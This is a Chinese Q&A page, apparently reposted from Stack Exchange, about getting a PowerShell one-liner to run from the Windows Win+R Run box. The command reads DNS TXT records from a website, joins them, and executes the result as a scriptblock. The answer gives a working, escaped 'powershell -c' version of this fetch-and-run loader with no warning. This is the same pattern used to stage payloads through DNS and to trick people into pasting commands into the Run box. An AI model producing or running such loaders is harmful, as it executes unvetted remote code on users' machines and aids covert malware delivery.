You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在Win+R运行框中执行PowerShell DNS记录执行代码?

PowerShell代码在Win+R运行框中执行的正确写法

问题背景

我有一段PowerShell代码,用于从我的网站下载并合并DNS TXT记录后执行,这段代码在PowerShell控制台中可以正常运行,但始终无法在Win+R运行框中有效执行。

控制台可运行的完整版代码:

1..3|%{$p+=Resolve-DnsName "$_.website.com." -Ty TXT -EA 0|% S*s};& ([scriptblock]::Create($p))

简化版的运行差异

我还有一个简化版代码,仅拉取单条DNS TXT记录并执行,控制台中的写法是:

powershell . (nslookup -q=txt example.website.com)[-1]

但要在Win+R运行框中执行,必须修改为:

powershell "powershell . (nslookup -q=txt sub.website.com)[-1]"

完整版的执行困境

我尝试了约20种变体修改完整版代码,比如下面这种写法就会报错:

powershell .(1..3|%{$p+=Resolve-DnsName "$_.website.com." -Ty TXT -EA 0|% S*s};& ([scriptblock]::Create($p)))

解决方案

要让完整版代码在Win+R运行框中正常执行,核心是正确转义特殊字符并通过-Command参数传递代码字符串,正确写法如下:

powershell -c "`$p=''; 1..3|%{`$p+=Resolve-DnsName `"`$_.website.com.`" -Type TXT -ErrorAction SilentlyContinue|% Strings}; & ([scriptblock]::Create(`$p))"

关键修改点

  • 使用-c(即-Command)显式指定要执行的命令,这是Win+R环境下调用PowerShell的标准方式
  • 对变量($p、$_)和双引号进行转义:Win+R基于cmd环境,PowerShell变量前需加反引号`,双引号也要用反引号转义
  • 提前初始化$p为空字符串,避免未定义变量导致的异常
  • 将简写参数-Ty改为全称-Type、-EA 0改为-ErrorAction SilentlyContinue,提升代码可读性(非强制,但推荐)

内容的提问来源于stack exchange,提问作者I am Jakoby

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.12 04:55:19